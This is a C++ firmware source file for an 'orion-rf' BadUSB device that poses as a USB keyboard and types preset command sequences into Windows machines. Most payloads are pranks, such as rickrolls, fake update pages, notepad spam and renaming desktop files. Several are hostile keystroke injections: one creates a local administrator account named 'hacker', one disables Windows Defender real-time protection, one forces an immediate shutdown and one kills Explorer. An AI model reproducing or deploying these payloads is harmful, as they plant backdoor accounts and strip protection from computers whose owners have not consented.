Krolyxon
Commit 2e20bbf

Branches

Tags

Refs →

orion-rffirmwarebadusb.cpp

398 lines · 11.8 KB · C++

1#include <Arduino.h>
2#include <USBHIDKeyboard.h>
3#include "display.h"
4
5extern USBHIDKeyboard Keyboard;
6
7void runCommand(const char *command) {
8 Keyboard.press(KEY_LEFT_GUI);
9 Keyboard.press('r');
10 delay(100);
11 Keyboard.releaseAll();
12 delay(300);
13 Keyboard.print(command);
14 Keyboard.write(KEY_RETURN);
15}
16
17void showRunningScreen(String taskName, uint8_t duration = 5) {
18 u8g2.clearBuffer();
19 u8g2.setFont(u8g2_font_6x12_tf);
20 u8g2.drawStr(0, 15, "Running:");
21 u8g2.drawStr(0, 30, taskName.c_str());
22 u8g2.drawFrame(0, 45, 128, 10);
23
24 static const unsigned char image_download_bits[] U8X8_PROGMEM = {
25 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
26 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
27 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
28 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
29 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
30 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
31 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
32 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
33 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
34 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
35 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
36 static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
37 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
38 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
39 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
40 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
41 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
42 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
43
44 u8g2.setFontMode(1);
45 u8g2.setBitmapMode(1);
46 // download
47 u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
48
49 // EviSmile1
50 u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
51
52 for (uint8_t i = 0; i <= duration; i++) {
53 u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
54 u8g2.sendBuffer();
55 delay(50);
56 }
57}
58
59
60void badUSBMenu(int index) {
61 //switch (index)
62 // {
63 // case 0:
64 // runBadUSBDemo();
65 // break;
66
67 // case 1:
68 // Serial.println("Open CMD payload");
69 // runBadUSBOpenCMD();
70 // break;
71
72 // case 2:
73 // Serial.println("Rickroll payload");
74 // runBadUSBRickroll();
75 // break;
76 // }
77
78
79 switch(index) {
80 case 0: // demo
81
82 showRunningScreen("DEMO");
83
84 // Run dialog (Win + R)
85 Keyboard.press(KEY_LEFT_GUI);
86 Keyboard.press('r');
87 Keyboard.releaseAll();
88 delay(1000);
89
90 Keyboard.println("notepad");
91 delay(1500);
92
93 delay(2000);
94
95 Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
96 Keyboard.println("#-FEATURES:");
97 Keyboard.println("1- WIFI ATTACKS");
98 Keyboard.println("2- BLE ATTACKS");
99 Keyboard.println("3- BAD USB");
100 Keyboard.println("4- NFC");
101 Keyboard.println("5- INFRARED");
102 Keyboard.println("6- SUB-GHZ");
103 Keyboard.println("7- GPIO");
104 Keyboard.println("8- APPS");
105 Keyboard.println("9- SETTINGS");
106 Keyboard.println("10- FILES");
107
108 break;
109 case 1: // keyboard
110 //runLoop(hidkeyboard);
111 break;
112 case 2: // saved scripts
113 //hidInit();
114 //runLoop(hidscriptmenu);
115
116 break;
117
118 case 3: // Open Notepad
119
120 showRunningScreen("notepad");
121 runCommand("notepad");
122 break;
123 case 4: // Open CMD
124 showRunningScreen("opening cmd");
125 runCommand("cmd");
126 break;
127 case 5: // Show IP
128 showRunningScreen("Getting IP");
129 runCommand("cmd");
130 delay(500);
131 Keyboard.print("ipconfig");
132 Keyboard.write(KEY_RETURN);
133 break;
134 case 6: // Shutdown
135 showRunningScreen("shutdown");
136 runCommand("shutdown /s /t 0");
137 break;
138 case 7: // RickRoll
139 showRunningScreen("rickroll");
140 runCommand("cmd");
141 delay(500);
142 Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
143 Keyboard.write(KEY_RETURN);
144 break;
145 case 8: // Create Admin User
146 showRunningScreen("create admin user");
147 runCommand("cmd");
148 delay(500);
149 Keyboard.print("net user hacker 1234 /add");
150 Keyboard.write(KEY_RETURN);
151 delay(300);
152 Keyboard.print("net localgroup administrators hacker /add");
153 Keyboard.write(KEY_RETURN);
154 break;
155 case 9: // Disable Windows Defender
156 showRunningScreen("disable windoes defender");
157 runCommand("powershell");
158 delay(500);
159 Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
160 Keyboard.write(KEY_RETURN);
161 break;
162 case 10: // Open YouTube
163 showRunningScreen("youtube");
164 runCommand("cmd");
165 delay(500);
166 Keyboard.print("start https://www.youtube.com");
167 Keyboard.write(KEY_RETURN);
168 break;
169 case 11: // Lock PC
170 showRunningScreen("lock pc");
171 runCommand("rundll32.exe user32.dll,LockWorkStation");
172 break;
173 case 12: // Fake Update
174 showRunningScreen("fake update");
175 runCommand("cmd");
176 delay(500);
177 Keyboard.print("start https://fakeupdate.net/win10u/");
178 Keyboard.write(KEY_RETURN);
179 break;
180
181 case 13: // Endless Notepad
182 showRunningScreen("endless notepad");
183 for (int i = 0; i < 10; i++) {
184 runCommand("notepad");
185 delay(500);
186 }
187 break;
188
189 case 14: // Fake BSOD (opens fullscreen image)
190 showRunningScreen(" fake bsod");
191 runCommand("cmd");
192 delay(500);
193 Keyboard.print("start https://fakeupdate.net/bsod/");
194 Keyboard.write(KEY_RETURN);
195 break;
196
197 case 15: // Flip screen
198 showRunningScreen("Flip screen");
199 Keyboard.press(KEY_LEFT_CTRL);
200 Keyboard.press(KEY_LEFT_ALT);
201 Keyboard.press(KEY_DOWN_ARROW);
202 delay(100);
203 Keyboard.releaseAll();
204 break;
205
206 case 16: // Matrix effect
207 showRunningScreen("Matrix effect");
208 runCommand("cmd");
209 delay(500);
210 Keyboard.print("color 0A");
211 Keyboard.write(KEY_RETURN);
212 Keyboard.print(":a");
213 Keyboard.write(KEY_RETURN);
214 Keyboard.print("echo %random%%random%%random%%random%");
215 Keyboard.write(KEY_RETURN);
216 Keyboard.print("goto a");
217 Keyboard.write(KEY_RETURN);
218 break;
219
220 case 17: // I'm watching you prank
221 showRunningScreen(" iam watching you");
222 for (int i = 0; i < 5; i++) {
223 runCommand("notepad");
224 delay(1000);
225 Keyboard.print("I'm watching you...");
226 delay(5000);
227 }
228 break;
229
230 case 18: // Open Google
231 showRunningScreen("open google");
232 runCommand("cmd");
233 delay(500);
234 Keyboard.print("start https://www.google.com");
235 Keyboard.write(KEY_RETURN);
236 break;
237
238 case 19: // Open telegram
239 showRunningScreen("open telegram");
240 runCommand("cmd");
241 delay(500);
242 Keyboard.print("start https://web.telegram.org/");
243 Keyboard.write(KEY_RETURN);
244 break;
245
246 case 20: // Alarm Sound
247 showRunningScreen("alarm sound");
248 runCommand("cmd");
249 delay(500);
250 Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
251 Keyboard.write(KEY_RETURN);
252 break;
253
254 case 21: // Endless CMD
255 showRunningScreen("endless smd");
256 for (int i = 0; i < 20; i++) {
257 runCommand("cmd");
258 delay(300);
259 }
260 break;
261
262 case 22: // Gibberish
263 showRunningScreen("gibberish");
264 for (int i = 0; i < 100; i++) {
265 char c = random(33, 127);
266 Keyboard.write(c);
267 delay(50);
268 }
269 break;
270
271 case 23: // CAPSLOCK Spam
272 showRunningScreen("caps lock spam");
273 for (int i = 0; i < 10; i++) {
274 Keyboard.press(KEY_CAPS_LOCK);
275 delay(200);
276 Keyboard.release(KEY_CAPS_LOCK);
277 delay(200);
278 }
279 break;
280
281 case 24: // Calculator
282 showRunningScreen("claculator");
283 runCommand("calc");
284 break;
285
286 case 25: // Auto Type "Hacked!"
287 showRunningScreen("hacked");
288 for (int i = 0; i < 5; i++) {
289 Keyboard.print("Hacked!");
290 Keyboard.write(KEY_RETURN);
291 delay(1000);
292 }
293 break;
294
295 case 26: // Turn off monitor (Windows only)
296 showRunningScreen("turn off monitor");
297 runCommand("powershell");
298 delay(500);
299 Keyboard.print(
300 "(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
301 "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
302 "-Pas)::SendMessage(-1,0x0112,0xF170,2)");
303 Keyboard.write(KEY_RETURN);
304 break;
305
306 case 27: // RegEdit
307 showRunningScreen("regedit");
308 runCommand("regedit");
309 break;
310
311 case 28: // Kill Explorer
312 showRunningScreen(" kill explorer");
313 runCommand("taskkill /f /im explorer.exe");
314 break;
315
316 case 29: // Flash screen (by changing background rapidly)
317 showRunningScreen(" flash screen");
318 for (int i = 0; i < 10; i++) {
319 runCommand("color 4F");
320 delay(200);
321 runCommand("color 1F");
322 delay(200);
323 }
324 break;
325
326 case 30: // Rename Desktop Files (basic prank)
327
328 showRunningScreen("rename desktop files");
329 runCommand("powershell");
330 delay(500);
331 Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
332 "Rename-Item -NewName {'hacked'+$_.Name}");
333 Keyboard.write(KEY_RETURN);
334 break;
335
336 case 31: // Toggle WiFi (requires admin)
337 showRunningScreen("toggle wifi");
338 runCommand("cmd");
339 delay(500);
340 Keyboard.print("netsh interface set interface Wi-Fi disabled");
341 Keyboard.write(KEY_RETURN);
342 delay(1000);
343 Keyboard.print("netsh interface set interface Wi-Fi enabled");
344 Keyboard.write(KEY_RETURN);
345 break;
346
347 case 32: // Screenshot
348 showRunningScreen("screenshot");
349 runCommand("powershell");
350 delay(500);
351 Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
352 Keyboard.write(KEY_RETURN);
353 delay(300);
354 Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
355 Keyboard.write(KEY_RETURN);
356 break;
357
358 case 33: // Emoji spam
359 showRunningScreen("emoji spam");
360 for (int i = 0; i < 10; i++) {
361 Keyboard.print("💀");
362 Keyboard.write(KEY_RETURN);
363 delay(500);
364 }
365 break;
366
367 case 34: // Control Panel
368 showRunningScreen("control panel");
369 runCommand("control");
370 break;
371
372 case 35: // Troll wallpaper
373 showRunningScreen("troll wallpaper");
374 runCommand("cmd");
375 delay(500);
376 Keyboard.print("start https://i.imgur.com/trollface.png");
377 Keyboard.write(KEY_RETURN);
378 break;
379
380 case 36: // MS Paint
381 showRunningScreen("ms paint");
382 runCommand("mspaint");
383 break;
384
385 case 37: // Auto Tab Switcher
386 showRunningScreen(" auto tab switcher");
387 for (int i = 0; i < 10; i++) {
388 Keyboard.press(KEY_LEFT_CTRL);
389 Keyboard.press(KEY_TAB);
390 delay(100);
391 Keyboard.releaseAll();
392 delay(300);
393 }
394 break;
395}
396}
397
398